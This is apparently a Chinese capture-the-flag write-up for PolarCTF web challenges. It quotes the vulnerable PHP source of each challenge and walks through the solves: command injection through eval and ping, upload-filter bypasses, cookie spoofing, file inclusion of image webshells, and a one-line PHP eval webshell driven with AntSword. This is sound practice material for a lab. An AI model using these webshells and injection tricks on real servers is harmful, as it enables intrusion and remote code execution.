简单

cool

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_GET['a'])){
$a = $_GET['a'];
if(is_numeric($a)){
echo "no";
}
if(!preg_match("/flag|system|php/i", $a)){
eval($a);
}
}else{
highlight_file(__FILE__);
}
?>

不能用尝试执行system,我们来试试用passthru()执行一下ls

很好,进展很顺利,由于过滤了flag,我们直接用cat *来试试

image-20231209160610183

ok,成功取得flag。

upload

image-20231209175852951

打开源代码。发现有个注释,很像某种传值

image-20231209175930653

试试加上去,发现出现了代码

image-20231209183712700

审计一下php代码,发现是通过字符串匹配,然后将其替换为空来过滤掉相关后缀的文件。

先来试试上个图片马,发现似乎不会执行图片内的代码,看来只能上传php文件了。

image-20231209184101857

在代码审计中发现,他只会替换一次php,那我们上传一个.pphphp让他在替换后变成.php不就可以了吗?直接试试

image-20231209184243274

似乎成功了,直接启动蚁剑拿取flag

image-20231209184330277

cookie欺骗

先打开一遍,然后刷新用burpsuite劫持发现cookie里面有个参数user

image-20231209193529372

直接修改为admin,然后放行拿取flag

image-20231209193559105

干正则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include 'flag.php';
$a = "www.baidu.com";
$result = "";
$id = $_GET['id'];
@parse_str($id);
echo $a[0];
if ($a[0] == 'www.polarctf.com') {
$ip = $_GET['cmd'];
if (preg_match('/flag\.php/', $ip)) {
die("don't show flag!!!");
}

$result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
if ($result) {
echo "<pre>{$result}</pre>";
}
} else {
exit('其实很简单!');
}
}

经过代码审计,我们发现我们需要完成两个任务

  1. 把$a[0]修改为www.polarctf.com
  2. 绕过preg_match('/flag\.php/', $ip)检查

我们将id构造为id=a[0]=www.polarctf.com,这样我们a[0]=www.polarctf.com通过@parse_str把原来的$a替换成了www.polarctf.com,完成了第一个任务。

image-20231209202456378

接下来我们需要构造命令,首先使用;结束掉Ping命令,然后再来考虑绕过,我第一时间想到的是cat *,然后不行

image-20231209202533294

我们再来试试tac,倒置版的cat,成功拿取flag

image-20231209202607260

下面有个常见的cat的替代方案

03483aca1d0af67cac014834e8b7bb2

还可以用sort来排序且展示所有文件的内容

中等

phpurl

image-20231209155540568

image-20231209155548888

靶机给出的两个文件,首先我们来看这个文件名,直接用base64decode解码得到如下

image-20231209155648382

打开这个页面我们得到php代码页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if("xxs"===$_GET[sys]) {
echo("<p>Not a good idea!</p>");
exit();
}

$_GET[sys] = urldecode($_GET[sys]);
if($_GET[sys] == "xxs")
{
echo "<p>Welcome to polar LABS!</p>";
echo "<p>Flag: XXXXXXX </p>";
}
?>

what can you find?

简单分析得到,我们要传入一个url encode后的xxs

这里有一个陷阱,直接在本页面传入sys值什么反应都没有,这是因为这只是代码页面,我们要回到初始页面进行传值

image-20231209155940379

出现了这样的问题,很明显我们没有传递到url encode值进去,在服务器那端接受到的是普通的"xxs",我们进行二次encode再传递即可成功获取到flag

image-20231209160107474

ezphp

image-20231209161021746

页面没有隐藏信息,既然爬虫,那我就直接上目录爆破了

image-20231209163435934

都访问一遍,发现两个比较重要的目录:/file/和/uploads/

image-20231209164852415

两个php都访问一下

file.php:

1
2
3
4
5
6
7
8
<?php
/*
PolarD&N CTF
*/
highlight_file('file.php');
$filename = $_GET['filename'];
@include $filename;
?>

很明显是个文件包含,或许我们可以通过隔壁的upload上传一些东西来包含一下?

image-20231209165000262

image-20231209165006786

上传文件限定了jpg之类的,很明显,我们需要做个图片马

用copy命令在cmd下制作一下phpinfo()的图片,看看有没有诈

image-20231209165251191

image-20231209165302313

文件在/uploads/images下

image-20231209165415999

上传成功,我们再来构造一下url

image-20231209165502960

居然没有诈,直接构造图片马

image-20231209165556798

蚁剑启动!

image-20231209165701381

在用户目录下找到了flag

image-20231209165729898

你的马呢?

image-20231209192416803

那我非得试试()

image-20231209184649809

那就跟着他试试

image-20231209185045140

image-20231209184938176

分别提交了一个有php和一个没带php的,看来会检测文件内容,检测方式就是是否有php。那我修改一个php标签

1
<?= @eval($_POST['hacker']); ?>

显示上传成功,但是服务器没有执行脚本,直接把内容打了出来

image-20231209185441267

我们发现打开靶机的时候,他有一个file的参数,那我们把我们这个jsp文件传进去试试

浏览器显示为空,很明显里面的php标签被执行了,直接用蚁剑连接

image-20231209192704109

测试成功,直接拿取flag